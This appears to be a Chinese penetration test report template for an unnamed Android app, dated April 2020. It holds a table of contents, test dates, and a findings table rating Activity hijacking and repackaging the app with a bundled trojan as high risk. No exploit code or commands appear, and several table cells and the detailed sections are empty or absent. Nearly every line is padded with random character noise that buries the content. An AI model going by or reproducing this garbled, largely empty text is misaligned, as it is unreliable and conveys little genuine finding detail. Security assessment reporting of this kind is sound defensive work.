; f( D( e1 s: T" D$ u/ p: _1 e! w0 e7 d: P1 C0 G, s- d! u! h
" E& r9 Z' t+ Z( x _0 E# ^8 e' L7 ?) } b. z7 S
_2 A0 ^. H) J% q
! p6 v$ [9 p- L" e( M
4 C3 `, l% c* h) k
! ~& `/ K5 A' v' k# O " ^" E e# N( K: H4 q6 p9 Z
5 z: `/ P' v0 \1 j4 q
$ Y0 @ j& |8 q
2 w9 R" ~; P; }: G; Y( M$ V 文档编号: 9 k& _2 F3 _' {7 n2 j
$ m6 I) X) A2 y( Y4 x
U, {1 T' q" \8 R5 v" x$ ^
+ `5 J/ R2 A: s9 k$ ~/ C - }; Z" \0 O; } |1 f* y- c2 R! H
9 q2 _$ V; l5 P7 t5 M0 \& j; `/ O % C& k$ q$ O9 e" ^, q9 F
Z3 b. e& h' N6 B
% x I5 e, c+ X* {4 E1 d
# L0 s1 o4 m7 g5 b# L, N" c ( S) j- B! W! a$ o6 V
8 [* x7 G3 l7 t/ l 9 E3 p' c0 X R1 s% @- {# b; v' N
3 G, J. Q4 y" B9 E8 P . e6 h% C6 [4 L) ^1 V1 w
, R% k. S/ F% ~, x4 V5 z# m+ y
3 c2 Z5 a6 j0 X! g1 {( f8 o6 t
: z# s# \4 h V7 m0 E4 K8 Z; s. U3 [ + u1 |* A" \" g
- z, ~/ X. Z; E1 f2 D$ W+ n% @( K7 S
1 M! }% ^8 u) d$ H6 d/ ]* T9 g; F' u8 @# f- W% ^3 h7 o4 v" K
* F- c% F. [7 S
# T; o" U; ~4 E6 ~' U" U5 h
, j s7 [) B9 N7 \9 j. }! y+ M( D& b' p: `! G2 H, a
5 r* y3 y0 ^- U9 d- F
6 y/ w! Y) e$ T" Y9 N% l( Y
; j& d1 j6 z+ v7 s% L. p
B& L Q# y9 q k7 _+ o
' K) e! ~' r- X F' M9 X5 W+ c' b8 U3 h
x! c1 w2 W3 r0 s: V9 w! z! q
" M3 y1 K' o* m
0 C3 o# j' q- e; X2 L. | 某某某APP渗透测试
9 v$ w4 P! R2 C" P- f( k% l+ s1 g
9 [ V1 F+ Z) b" N
3 _8 [, }5 X6 t8 x" D! d }4 |2 z; V& r7 W4 t8 ?% h
1 F5 @0 y6 f8 ^0 H4 W4 ~+ j+ D
+ R% a5 c; N' u. h: P/ h% p 1 p5 D" x: P9 b" D0 q" D! d
4 G7 K. H( W% s; j- X3 O
; {; c" h2 @0 R, T' L4 z
' H% K- M. r3 H, K" W
. e0 a0 F+ c& X2 b8 O! k
5 v& ?0 w- G) ^4 l , c$ X; t4 d$ |. ^' e' S8 e
' t i+ l. P+ J V
, b, ~ |& A. i3 H
! p* T" C9 ^/ E9 j. R5 k/ J$ t / I. a# d I2 l0 h4 y% [' O
0 {; d+ B6 I* @5 E/ G* b
8 Z, N2 n, f4 [- b: w# x0 N4 r; S* ?( ?6 D0 w
/ g1 L. _: R' K& U& Z* y, o- h7 Q8 v2 L1 w. H& i5 c
L& m4 _9 Z3 l$ j1 T" f3 P
/ n. g/ O6 g N# }
: ~* e, f$ f& O. F' b6 B/ F$ }0 l' m' H; s3 b7 F
$ a) S/ P) i5 }- p/ J( C% l) ]# l5 n( H, l" E' F$ ]8 d5 w
" Z4 f; f' T& z, h& W( T5 p
7 O$ G' ^9 z' v* |! I
技 术 报 告 1 f$ P0 \& G8 x# Q' B( y
% J; F, w2 y5 N" m9 m E" q
* Q0 H3 o; k% v( Z
9 T3 P2 x' X3 N. U; `8 y$ e
& O( i: p) Z) C2 O4 W( W [4 }% h7 w& S m6 [* I& i
# {7 I# C" \! u8 L' S* y4 X; {! ~0 a6 U2 s
( L) K9 j; x; I! u( i' @' M
) f! P4 `0 W- P+ w 7 l8 x4 L' v) \8 ?( j
. F0 @6 ^# T. e/ P5 v" ^ . t) i: f4 `2 F/ m
, G6 f- O8 C/ j# [9 I3 v( D
2 r' t6 ~' j- K* g9 C5 _- L
5 e) M N, F. f: M% p) O8 f
9 {2 N' L/ H4 {
' r9 P3 J; O- _5 O & R8 U! ~' ~2 F5 q
! m* z) j, ^4 c1 a' X9 ^/ q ) N) ~5 ^* W E- X
/ O! r, f& r9 e
9 @" Q+ l/ U% k! u) q! U
: K) t/ Q2 X: O. y& T# b ' Q+ R$ ^( U ?+ Q: ?+ p6 O6 v
- _7 s( d" E# O: n
/ b/ K; x' s; o
, K8 l$ @9 y5 p9 G% j 8 X* N8 Y9 w5 B) k3 U5 n
9 Q( E1 T1 m1 f# f
7 [, F+ \. h% h- W! I) Z- {$ I0 x! x3 \, t! k
6 ~+ m7 c) z6 f% Q, ^& m# h, i ~: d. x
4 o. _( {% ]" B @4 j: u* m
( P. L/ h* Z! o0 {9 `. r : h, [* n0 a6 n) P' N
& E0 F% g7 @; Q5 V) J 3 D9 H* C- w# I" O8 n. }
, E, |* j5 b1 j
% a/ H- F4 L8 s) ?8 C" V- I
, b4 Z( y2 D3 d g- T ( c) ~0 {% m% _" s% N' S S
" f7 n; q# {! L3 ], M/ ~ 8 I, @4 D- `1 b; y u5 n
R0 X9 z3 `# Q2 y& K; D
0 _8 s6 [& [. Y( T2 r
: {5 |$ Q! W7 m7 a9 G5 x8 x" T
3 u8 H- X5 G4 e& U
1 [, |* U- ] {' ?9 Z- L; k ! c1 W+ e. n5 o H3 m' y9 y
/ C$ I. g, [7 T( \9 l0 ?7 C" v. ~
6 T. w5 [% a9 y5 L4 ]- t
4 E9 C$ B; K, d! k
4 y( A# e8 |0 ^# E
* n" E, C6 U) k, R9 z1 C$ ~! ~
- R, @6 o+ W; P( }5 M" Z _$ d4 z: |+ `' ?8 q9 o& y6 s
, k; T: B# c) r) \
8 z1 W- U# i! `3 j9 A" q7 S & n0 R3 Y- r( \' t
2 N% w. y. }" B' \+ T# M6 q1 a7 X
( }, A" Y7 P. }9 x
) r* T2 q) z" S! M) f 8 h% T& \0 s" y; ? }& W
. h% l$ @7 ^* b0 V
4 ^/ q! Y; U* b. v- V1 H; U) K( x$ J l3 \% [- y
6 M0 L# F' G) c! Y) d
$ U! W. z# _7 i$ b( p# Z
! K9 E& \9 q U4 c$ @; d1 t$ u& ~0 z
0 j; z& \7 e5 w: C" f& C. m( ]
( \6 E* k: f1 t" ^+ n/ @
9 Q6 ?; P2 K' h" `0 |$ r z
/ X/ E' h' w2 P1 x. Q; F5 _" s. O! `& s: z
J% ~% S6 ]+ D+ p- Q7 V) D: o- Y) f
/ e+ _ l0 A5 n# ]. Z s: S9 r& B
8 c' @0 T: @) M& q, u
& m& V) n, U' r. A3 s. {' v! F
- S0 e- Z' V% v1 R
3 H) c: V3 ^ F. F3 U; D1 Q
. j2 T: x6 Z1 n- V. y8 C6 P
2 k4 `, w# [* S/ {4 {. Q6 [! r, q- o8 S# c8 `( ~
. d2 _( ^9 k, o2 J
8 V; _4 C! S5 J/ s; D9 T1 U
S2 H0 @3 }" S5 u7 D
7 Q" X% t1 H. W0 p5 N; f
& D) v Q. k/ U3 I6 r( x) t" @' \, g% I( B$ E
( A) W+ S# G6 N: O$ N) R9 h7 _. |
8 p" v' c( Y! k# x2 \4 u% Y: S
" H) k6 T: @: F/ ?, `4 y
+ p4 K [: O6 T. [2 @: R8 l
0 S7 b. }2 J+ m; g* y% N' j; V/ ~% X
( K. \) A) @# Y5 x, g- v
/ `( L3 `- M, p 4 Z; c- p+ T4 w9 Z- p: }- ^
) _0 V- b& f, a) Z1 L1 X % ^& W" v3 Y' Y! _
- g. ^5 z% q! d$ k! e9 b, `9 M
. S) A5 e }0 R9 r1 b( S/ p6 z0 ? u
+ W" |% B Q3 p2 `6 X' k4 R9 ^% I7 M8 x" E
3 O) X8 B; b( ?9 { m
; B4 W0 U' P& T. [, W
% R6 Q8 A" }! d% g8 @/ j) f7 R
7 T2 A( x% Z/ D2 G) R- Z
/ H" [, O; H" S5 X; F8 j% M* z2 p4 z5 U, ?4 ]4 F3 o8 [% n
二〇二〇年 9 y( e( G! u4 s9 u+ ?+ w( m$ s
' o' ]9 u6 q) f ) W0 {7 p7 X( ~, T
; \4 L. ^& q5 a8 x% I: h2 K / P! C) D/ Q: F+ i2 U
$ \6 x0 \4 b# `" L
: I' H8 a# h2 ? ^$ z# Q3 q' N1 u8 A$ F0 O* b% _1 q
) E! D) a) ^& I& ?7 b) J: ~7 Z. U
. I' ?% ^3 c& o' A: j5 y( [
% `- a0 y- l+ C
$ ?- ]5 L) y1 m" o
& r$ m0 ?3 V0 B- ^: U1 F$ d" S6 @) W# o
+ W, S: {+ R+ n
/ V& b1 o: ~1 b$ m' t/ M0 F * K j" V$ h2 u1 t2 |
/ T, r0 Z; v8 e- x
" e ?* y) v5 I' [/ L; i! @: {6 [- w; H! ~! i
: a0 w& L( W9 B m
5 }/ H( Y! ]" z+ D' w 目 录
4 O* R, k5 l8 y& Q t1 @" U8 v1 @& p6 W! K( c: D4 C
8 L2 U8 W1 B9 K9 S' S
9 \* L' `$ D; y; `5 P$ `' |3 J * X) P6 B+ b$ Z: X$ o8 Q' O) s6 n) a
! w) k( t9 [. V) b+ [- U
l$ A: B: l/ r& j# p: ]( k
- f7 z9 O N4 S- w) Z2 K
2 l: K( y6 }8 v5 A" K9 }3 B: Z
7 T7 ^ q6 x& L. N/ B- ?
/ K3 D6 c3 @. K6 x5 i" s$ x) I. [, m& e/ q8 l1 x# A
& T- i" m5 D8 J0 f' B o; L- ~
4 M- R& B+ W+ S+ |
1 概述... 3 + t' ~( t7 S& B F- r
. i' ~+ F' i: D6 k8 |8 G
4 a s. d% m& \1 K
* p4 d! ^; G* O1 ] - b1 _0 _6 `% ], S* T5 b% x
; f% c/ K4 A5 [9 z1 A8 V$ k- b! a5 q0 V 1.2测试时间... 3 - c h; e2 N1 J" x) j6 }
$ A, t0 d+ R+ z0 v
$ ?7 f* U6 m1 q8 `5 n* V0 l% B% A- v9 I; f
; n3 |% V! D$ I! i4 Y; ~% l- }6 Y, }
1.3测试对象... 3 + f' e2 d& c' O6 g) P. h7 g/ R" N, s
8 c& q; F( q$ r ^& o6 t
' y8 B, F, f+ D# \$ W a/ @) Z% e y- a. `) L5 Q8 w7 t: t
, ] y) r1 `2 `3 K/ p. x" H9 a7 ^' s) _, _7 t7 J7 @- N
1.4测试结果... 3 & h( @0 l2 j6 y7 ?
' E) g9 c& M; H1 G% v0 g
+ v/ b& n* R o, o7 J, _( V
4 P0 H: ]' P1 y/ X. H1 ^4 K
; {9 ^7 [2 v8 d1 a2 ^2 f, G! k* n4 P: H
2 检测结果... 4 3 \; j4 \4 U0 m6 k j
+ _' ~5 z8 J9 D7 U$ B8 `
. W- u( X( T. `1 i0 L6 L
: i, ~* s6 w9 o( N# \' n J8 f: }( }
, n. z: K" X) t1 \& B3 O) _" u/ [5 w8 F
$ I& ~; |' E0 ]/ s+ |2 f0 c
2.1 某某某... 4
# A, Z! t# n9 L( y6 \0 s5 {- }* e' X. w- Y0 T
. c. e5 W. K j% T4 r' ?1 q
' {/ b! P( ^7 M, y8 b8 m9 e; o; Y 5 y: f, f8 `" `3 a6 K
. ~4 x$ z3 h- Z' f# @# A 2.1.1检测目标... 4 8 ]- `$ Q2 |! n8 N+ v
* n* ]0 k, F: s5 \' x
/ O$ U5 V/ P! A6 `. {# D+ D/ I, D0 e, R' [; e
0 \* `% X0 m6 M. N9 y5 R7 Z+ w" E- P2 l6 y/ O9 }5 g' i% h
2.1.2检测结果... 4 6 h: A) Z& `! F* C$ i
- K, q% g7 w! F0 v$ E! ]6 q
0 d$ y4 ^# Y. k- e- ^4 Y) i4 _+ C& ~# M
" }# ?- |( ?4 j( p: t# r& H# S, Z: d7 X4 r( ~
2.1.2.1. 4 % t, Z8 O4 t4 C. W) } B3 ?$ o
3 [7 t* ?4 J1 u$ x 9 s+ `8 I1 B/ W3 O' r( ?! C
$ w8 L% y/ R: n# p. A
4 Q2 U$ y/ m: \1 ^0 {4 ?
+ c. w( A, ?" f/ \0 } 2.1.2.2. 6 / Y& l, f: f! t2 Z( B
6 X# n" n3 l: A7 h( n4 I* m
' [: z$ a: O8 p! Z$ C: b) S
7 k9 S$ }# m7 W2 M5 q% ] % V3 B" }% V% Y$ c6 M
* B l/ ?4 _0 q/ t ^( A 1 L, h$ G6 B- c8 ]' J/ T
. I4 e# W! b1 q5 q$ T; h# g* J
7 _; m9 j. T; [9 s5 m& r
9 {. f$ d4 ]% T: I. G( d. q$ {& b" w8 Y% J; V
; H( L/ n, s, N* c( V7 \/ _7 y
+ c& Q2 r0 I3 u! a
! O, e1 r4 \) O' }% r
% _# I0 |" l. A' H: {( A' v, g E% O8 J6 h$ j4 q+ p% ~6 M
9 p9 R( n8 J, L d1 j+ |
8 B. r9 y. G8 C% K: V 2 i+ j7 Y: l8 m; d" M
5 Z5 x; b8 y( C) [5 {( G
1 概述 ~5 K3 l7 _% K- G5 x
$ M- u7 b6 n- y' n/ R
+ b- Z, |8 |5 @- f6 v V" ?0 f
5 W' D% D% Y' U* A* Z+ Y7 x2 y H- ]4 }3 i8 O5 G1 l2 X5 g
. z; @- Y U' P* T' k5 Z6 V 1.2测试时间 $ |% E! ]8 e% |
" C) [$ o- u( {5 \/ S
( R; _( Z& V# V( X- k' c8 ]! J; o" h1 R( F6 }! Z7 `; E+ @
4 X* R2 W1 @( ?' w5 C( G1 w% n& `
7 R* _6 t$ u: @! s3 x
# @- I+ R. O1 m
5 z3 f5 A0 S1 L. `
+ K3 J, S" F5 I5 P" `8 s
0 t, f& L# B1 K; W |
1 Z, r% {. v# J2 w. m
7 O3 g) [" a9 B2 R" u
+ W' U' t$ M7 U- x" @4 |& M, h. s, X# ], q1 c1 j$ k+ d
渗透测试时间 6 H8 p- O1 q! N$ s: ^
. V( U7 f( Y3 t+ o2 D
. j! _" p0 z9 C5 i8 G- b9 [/ L, }) ?; n( e: ^$ F! |) T
|
2 {4 R, p3 P. d. F( d
6 O! [2 F' o6 |- u0 s
. _; l) ~1 {" X+ G* W: q& h9 t T O- p9 H+ I6 A& o
8 U, e; v; t# z' x' u( p- i1 H' n( X5 U) F; Z2 }9 e
|
2 u8 l; R2 h% R( U. v7 ]0 x( x9 s
7 U O% p0 G9 ~5 \
) @5 O, s% Q6 A# r1 |
起始时间 8 F% Q4 W$ U8 { {4 ` n& ^3 P' D
a+ L8 N. i) E. E9 Q! I 8 i& V1 @+ y, }% h4 U
9 P' |3 S. B+ l2 q! U% ~ | $ I2 u+ K6 L$ t6 _
# d% y: n3 V) k7 j2 D% W
% h% V2 @* v& q/ @$ ^
3 _. X8 P, y+ L s) _$ i 9 x( V7 J$ [: c. W( h8 V
( U- |& @" `# ~' Q. X8 E7 t+ j" ? 2020年4月6日 9 ?5 L' [5 [! t7 R
$ m J9 D- z- Y" c. F% I$ g
# {( `! C u# k& S: [, X9 {
6 z' ]6 n9 `4 N% k4 O. @$ c |
4 S' P0 `9 h! o' K1 G
1 ]8 R& |- J/ c6 G/ H+ \- w 5 a9 i2 h3 K) _ R
) Q8 R( y& D0 O6 h! b6 B. t ! [1 {; u" I5 ?
) ?* u5 J X* g0 R/ n C/ q) E) S | 6 d% d/ x* Z F& v
' B* ]% |' t* p: F4 o
0 ]8 C$ @- ]2 b, }$ f
$ u7 Q! `$ R* K 结束时间
0 x, n7 ~" l; ^' Y2 T2 z0 K" Q- d2 x5 R" K8 s
1 F, X+ a% O, N2 i2 `/ _+ n* k4 ~6 M6 F) j
| 3 @- n8 ~7 w+ ~5 S7 e8 _
! v/ n9 `) A' f
) T5 N2 _7 f; N8 f: |9 @5 i6 k+ y! { ?( n% x0 s
* N! d. v# |# G. n+ {2 M
* ]6 v( t/ K' h0 }- j' y* a
2020年4月9日 % X; I2 [8 z, ~$ w, H/ K- b
' D0 R) r& q. o( M# o% h; B1 k9 s
0 s$ c/ m: }% X& D4 l/ g. i
$ J" Q8 y9 T% w+ R2 Y0 {5 F x | $ F. T: \& `/ p. K! W6 d1 J
6 b* J& e2 Q3 x/ {- V/ E7 {
2 \: _( V1 Y/ [5 E% K. M/ A/ e
1 B+ R# c6 d4 C, b# g$ C: Y; P
! M) ?$ @9 a1 H* }$ s! u; c" J) h7 f0 Q
, N8 C" h! a, w8 h. c
* F# i, h6 q z
, h& J6 h3 b% c
5 y7 e, t6 k9 w 1.3测试对象 c4 z1 Y+ h8 V4 g6 O8 X
6 \- x- b3 T! [: ^7 ~4 T! v3 O% E2 w
- A" q7 k) H. Q2 Y6 f4 n/ K
4 N5 W* B- _$ g2 m, V# }1 @3 n- w, a' e & O( }9 t$ G( h J7 [+ t+ `4 `
$ O& g: {8 a1 h) E
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
% s& C: c1 n. R7 z; d. \! j$ ~
+ m( z4 M4 Z$ W7 x. b6 n
% M, `* J' Y% I5 O/ z6 U9 V& @9 L# P$ X8 J# A5 Q; A
! k0 M# \ r: W+ w" _% j
4 K% _5 K) Q# X" v
表1-1 检测对象
! }0 @7 N! j v9 K5 Z( ~: x5 ^( ~: p. C' z- E4 ?4 r Q8 M! j2 s0 [. B
& Y2 h6 d# \1 e a7 t" D# A* @: g: j9 F" w/ _; [! q1 p+ D7 E
" ~* | G2 N+ k% I# Q2 E2 e
& k( x1 W) e7 w: }* t
. w4 k/ u! E D; n0 G$ G
& n' L4 V3 w$ ?. f6 ]7 a H: w
4 r: C: C7 O: O) i
4 C# R! L n) `$ {$ z | , O3 O8 i7 _$ o( q+ l# y
8 v. B! `. I) U/ ?' T: m% e
6 f1 m# R4 p; @! a3 k+ W" Y
* E0 X4 x5 }8 D+ p* W) h6 B 序号 ) B4 h% _, {- h8 }* c0 Q
" h0 q {: Z% C* J( T
( i/ N$ w7 X2 D
; c* `" w- J% R/ P9 Y1 t& t( Y
|
# v M8 q6 R: H5 q- G0 G& o
6 u' C9 }3 W! y7 ~" F
% H6 ^5 {6 |+ [4 j7 a( \1 z' d2 y1 _ ?* Q) `9 s' n" X
# D% x+ j0 O2 U7 L; J4 z. Q
7 ]' [0 C) W1 p9 d* A( j4 _+ e 测试对象
, o$ `8 V% v; B! y* y1 ~6 f
, q, Y/ ]; H0 Z" E+ l& O2 K1 w ~2 W7 ]: z2 R
( S" Q* R$ s; M
| + C( e5 d/ v( _' L' A. Z2 U% x6 E
0 b) F; O& W4 ~% u, e+ ]+ r. B8 F1 W
) j' W" B* A9 k+ m6 s5 [8 C& w: q
. f: w. n5 l' e7 V; N, [6 J- D; ~7 x) `- k' r; ^6 ]
测试地址 " X. r$ v* [: X1 h. i& p) G- r
8 j! K2 x' t! @$ A6 a
0 p8 W; l6 Y' W
0 |2 N2 N' A$ o' C8 ^/ H! _% Z |
5 _3 ?8 {* ~( y% z/ N. y8 O
" T w2 d) h1 d$ A) v9 ^- ]- h8 j
+ X( b, }( [; X$ } m
; G# h9 u- A4 o1 F' ? 8 w. l9 ~5 [# }
7 b+ R6 O& ^. t, M7 d% Y
安全漏洞 # M3 p Q8 C9 g
1 ~( M1 \: u% _$ l4 S/ V
; r* _1 O! p; A3 b; ^, f( u: U! c! z9 Q
| 3 L3 F5 I; I) ?+ {1 U5 ]* v
0 }4 b" l- ?* z
! g9 _5 D) q' H0 O) L4 _$ ?5 f
( d& G( [4 z. e0 } ( C1 v( `' P |) B5 p/ o% R
6 G/ }; g! L! H6 d0 |) [2 @ |
1 q+ p a5 r1 K0 S+ j# j& B* |+ ]4 V1 d5 t" r5 [
; V% I6 [+ M$ w6 h6 _
; V' W/ G0 U6 _( o
1 4 ]% U* [& L! E8 ~; W8 X+ S
( ?7 f Y8 k7 |6 T0 K 9 `/ F% @5 G& e3 Q' |+ U0 m
; ]1 g' Q, s: }. `9 i5 X | ' G8 V9 _4 y6 s
, C. H L$ r, ]1 L( b2 c
* W3 r8 h! Y( F/ d
# j% y, i {# G0 q7 h2 @' e
7 o* h( s" d$ m7 W( n
/ Q5 ?: W2 F' Z2 b. L$ g0 G 某某某安卓APP 9 E1 h4 g9 X" m; _
; t% z; |$ i( t' J3 {
4 R0 {1 V8 q, B' g0 ^' A, s9 A% k m0 J. x' B- A d
|
; \- Z8 H- Z2 E' N4 d! N8 V" t7 O. W( ?: D
, _+ s3 r+ V( r+ f4 d* Y- F2 z
# y9 d+ y7 O4 y1 [0 M; d G
, b H$ k: v+ `4 R8 p
% J7 p X; E" ^/ p: E! O8 p( r! |
8 _$ S2 d8 ^: n. ?
" f$ }) M) C n. K" U3 L8 C+ X; d. ~ - |0 I8 F0 y" I
# Z9 v9 u# c: t7 o | , S, H4 ]7 w: I3 i6 ]$ s
, I3 C" B6 Y6 @' {+ [& l; H' [ k' K % j, e* O' x9 ]
" r- Q9 |! {: D9 J7 K
9 S* i) V7 i: ?; d* x
; b: [- v/ p1 H$ i9 Q( x3 c 2 5 l7 R2 D0 G0 H; z# y% m" Y
0 U+ i! j$ {- c " y9 c3 K8 p' B _+ i
; k- ^! a1 ]1 A6 l, o# k
|
( | ~9 |# L0 {- {0 G
1 T: L" S, v+ P: s
0 j$ J8 @8 L, f) W& @ P( _
3 H2 c {" g5 \
3 Q$ N- V6 B' B. E R5 W# C- o& B7 M+ t y. C- X' [/ \+ q$ j1 w& k
2 Z# i& X. u T2 j) q
) G M! V- O: e( o. l4 ] . _% A1 e9 s4 M- ^
1 x9 E; q$ T! f" t
1.4测试结果 % k2 e8 w' m. n+ R6 Z2 N/ M
' V s+ f5 X- M/ P! J9 b9 a: O R
! _ F5 t$ }/ a1 A9 s" n2 U P8 A E4 y7 U* ]9 J
' ], v$ i; L% o
& r6 v; M d+ w9 U, K
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ' k" T+ a/ J9 {1 _
7 q; x" v7 w. _7 V4 B) D$ ~% ~ ( t: Y0 v5 z5 U
9 ?& L5 `1 N3 A- P0 z" k
8 C" g$ ]$ o, q( b9 }7 ~8 S
5 p! U5 ?9 G6 d% c
8 m! x% N9 l8 f- u) @$ X+ W$ R5 C
6 C1 `( q% n4 I. D
' p6 t, C' t v9 t ]# U9 d
5 c2 z- a# W# v6 N+ \& P9 L t9 X) i; y6 `, A) M* m' @4 n
+ L8 T, X4 ]9 c6 d6 h2 X/ M/ f8 m2 Q0 z: g8 R$ F& u% W) M
4 w3 _8 d; h0 v" v8 j0 ]. M3 h7 F/ h+ O. f
% g, D7 {5 u- L! a8 O3 b8 V
; w5 p& |( s9 Z" p/ W P | 2 [6 \- a: C5 Z7 D
. y6 P8 h* F3 J0 N0 U( c' ]8 |
7 Y) G- ^, V4 |2 k+ i1 s; |
/ ^) W3 V% y8 \ 序号 , k& {$ }6 q& H1 I/ E) V
Y) ?) M8 @) \; E, d * j5 @% p4 Z' w
* ]/ o, [ l- B | , |# ~, s8 M1 B: z
" W4 |, z5 F3 y B% @1 T- `
7 D& v# e, {- t: |1 [( |3 E8 W/ S
( [! d( M P9 Z( A6 d1 e
- _( E3 |& L+ b( p8 k$ t- Z6 ~1 T: ?: L( @3 M
系统名称 4 R4 Y. e& B+ K- P# M3 b! Z
" ^6 Y B5 c% g5 ~
7 _- ^8 q/ C" K1 y5 O$ U/ z
: r9 L4 ~/ N& P3 A$ X |
, a) k5 s) R) b3 o
$ i% {5 M( K+ [! P5 l9 z* u! n8 d! d k3 E, T4 U2 `7 Y9 h1 p
2 P) K m# U! v& ?6 P2 P4 U0 H 1 R: j5 m5 f K% X6 X v
3 L8 Q$ A% n/ P; q" f( w 漏洞名称 # r m# [& i, X1 N
% z( o/ S( P' L, z' z0 b9 n 6 k0 p7 p4 |) x" X t9 R
3 o7 }( ]. y% t/ v7 L
|
7 ~' n) H4 }4 F/ y6 ~, ]: p6 o8 a
" l# P# R- \8 u8 e$ t5 ~% W
0 F L8 S. D2 N5 l Z. h
% Q) Z8 |$ j/ ~, a# m \5 ~
1 y3 ~8 ]6 X) x% [1 N9 z+ O
, h( m9 ~' A! G$ U% L 漏洞危害
2 \( v( b5 h h* s1 w
1 q+ ]; M, d6 u# Y$ H 7 j$ r, ^ t$ r3 V) @
( ^! J( C1 F) P: x: E | 6 l" Z7 N5 ^1 f$ u y
n( X; d9 r* u2 k
0 I. ^8 [# Q" o1 [0 o# i* Q
* H9 f9 Z3 x! M; v
/ t5 [& `; m* l2 N! {! Q9 d
' N" F' [* ?) M5 I ?8 ^ 修复结果 & J \. [7 d- B; r& Y+ n; V8 W
& Z5 r% e( d2 i; K
& G& w T' @% l/ m8 G
3 C/ _/ Y5 K5 I- n" o5 o | S! R6 f: q! N* G
% g2 ?! ^: P% u+ B5 o' a/ C4 _
! E3 _5 {- z( L: r
+ l" X! g: s3 d ; n8 E1 }# H: u0 h
$ U% O* x2 u1 S+ }- Z
|
3 ?, j! Q+ X0 P/ f/ u: T3 x) I& g3 K; u) K& V
2 U1 O' K2 l( K4 ~
v5 z2 l- U% N. E9 b7 N3 t
1 & F5 b7 `; U" A6 @0 b1 L* A
( i1 m( m0 b9 V, a e% n( R
, X4 U( O4 Y4 i
) \+ D6 s6 u( }
| v. s G2 x0 n' }4 Z$ B u! w
4 d) u& t: D* p* O2 [4 \
, Y. W" s3 o" F1 i, z" z$ P9 K( f+ d6 W, ^, }0 t+ w" [/ l
4 d* u& H* g) q8 U, a- U. g% x' F4 D
某某某某某某APP
6 I. B' F& I5 r2 z2 [" e& B( X( T" Y4 l2 v# W
! ^* x' B3 E9 e. h/ q6 i
6 v- ~ v5 U. M- u7 s3 S |
7 N% N% U& F$ M# \6 O3 f/ W! L; p7 h6 r$ R; i* @/ R/ I
1 |# v/ A) C! C8 ~! i% F; ~" M
L) z; C2 D) j q0 `0 h" _' c
/ J1 L4 q2 ]7 S( e- X; F. F' v
Activity 劫持 & ~2 R7 e' H6 w1 o
/ k3 D8 m5 }, m7 i0 x$ a0 ] 1 N( \0 i3 _% | j r
$ i( f) X( m! c) V
$ @( O/ h; x7 q% j$ B# k6 @! ~3 m: x0 t- S' W
# W j2 V) y- D
( m3 X( c5 b6 l. [& l
. E/ v# V7 Q( Y& M* O
2 I' \$ u2 Z6 j' T* K) U2 ~8 s | 3 p! M; D/ c# q. }/ t
- R: |# G3 K/ x1 m R, T& N! V2 D: w# k
/ v7 G' Q% k9 i8 D
( c3 h6 L3 Z7 G6 L0 ]
3 W. U' R! d3 ?2 l 高 2 ~1 d w' \& O$ m/ g* b9 R3 A
! [0 ~8 ^$ _ f9 j: n6 C4 w- J 1 _( A6 l+ @; V2 i
5 s( g5 }# m4 B+ X( f) W* w |
9 }7 o: M2 G& h- \2 M
. D9 N( W" @9 k5 K1 p3 F+ X+ w( t0 E 2 P& c! _5 K" d/ t0 Z
( R7 v) i, p9 C6 r/ e& M/ ]
- T) e/ @" a! p1 G$ v
& d' R7 N6 o% i8 x ' m4 u5 {& e4 a; u: _; A: |0 ]4 y
" j. C7 c I& y4 l& w$ W ( {0 q: O6 g) A2 h0 {' x
1 @" }( @8 i# p. Z
|
; P u: u4 u- N& {! e, \2 V
" q* W9 T8 i) a2 b* f* y3 v ) s- P; |3 i A+ z6 h* V
) I$ u+ t' @, @, @: `! w7 _) \
6 z7 \$ L/ \8 p. b4 h3 @ j* I( N. \5 G2 g# ?
| G& C& I% H, m! Z C
- `; ?% B7 Q3 b2 U 1 t9 k8 m' O0 l$ m8 L& J+ K
/ q" r% |8 ?4 t. V- D* A
2 ) b% [" r4 o" F+ g' c& @2 E
6 n8 X/ W4 F+ ], H* ^: I5 Q4 @
3 k3 V; k( J& D1 N1 [2 o D7 b" ?- Y: l5 G) P, D: S
|
: T" h, A0 M: ^ I/ w q! n
+ {0 h' q) x6 O# l* p * z) ]6 \! ?1 F0 f" R
& S. R: K; k1 D/ t0 O9 I: Q( y
4 ~# O6 u# V5 M8 Z3 _! a6 B3 e, f3 z0 ?2 N- F
某某某某某某APP
8 J0 P" E# x; } B; S. O: `8 K* P* a9 R. T! e* ~
6 I) w' c' V9 l2 l
, ~: V* u2 e6 t" \ | $ d. q! `: y( i# @* V
. V& V, G3 D$ Q9 e, S }+ ]# B- E$ g
: t P, N5 O2 A. @
" C8 H! k9 h& d
( k" W( y4 M% u: P! k4 q 反编译二次打包捆绑木马、篡改APP代码
% [ d. M- S# {# _
3 w' {3 a4 g- Q ! c% ]% V: Z0 D. P6 Y, O5 ^
) M$ @+ o7 t( f |
2 K J1 h; ?# T; @3 |& Y, h) Z) U3 n$ Z) |: @1 k
" ? R% N0 ^6 |. g8 Y( _
" o: I1 X/ d. I( F; f( s" p * y) f( K8 ~8 v# p
4 P, ?+ W, E+ L% I: n2 k+ `; ] 高
# N0 Z2 a) m/ k* F5 J( I* W; D' t3 q; W# A" b" m1 ^) H: v
2 N% \% g' L/ E' R x) w, f$ d0 ]- ]1 Q; e
| ( s8 m$ c0 _8 e9 ~) a7 d1 k F6 u
2 V$ `2 |4 Y" E6 Q8 } 6 f G# e& L0 F" w& M/ o
, `% x* y5 B5 C3 @" {
: T7 E: t) Q. V4 [7 ~6 Y5 ^4 J" [; V/ q% b
* f. r6 D7 ]! h+ V! S" L/ k9 I/ [* h- ?% ~ P) {
: L6 p2 x' B* w9 w' m
! A; @5 {9 ?. X' }0 m" ]; c
|
F' n# K- E- ?" n' h5 {/ u8 |
; v* l5 Q" t) e 5 N8 ~# F1 w$ W6 J4 G% |+ B
3 Z4 ^( _/ v- v
2 X5 c7 u: S1 M, `) C' x8 k; l2 ~. o4 h
( j+ F# I+ Q# x& k & t0 B. G( U& q- G
( Z1 ]; G$ ?& ^6 _* x& ]- F' N
- V7 ]4 G$ Y1 g- H$ ~% h: C A5 Y0 N4 G* w" v+ ]
3 z8 w8 W/ o$ ]: `% \7 ~: ]6 V2 @/ ]
; |1 i2 P: D* ~3 t0 }! s6 X2 }$ @8 z( x
/ s* Q7 V; X& r" ^( f# U. D
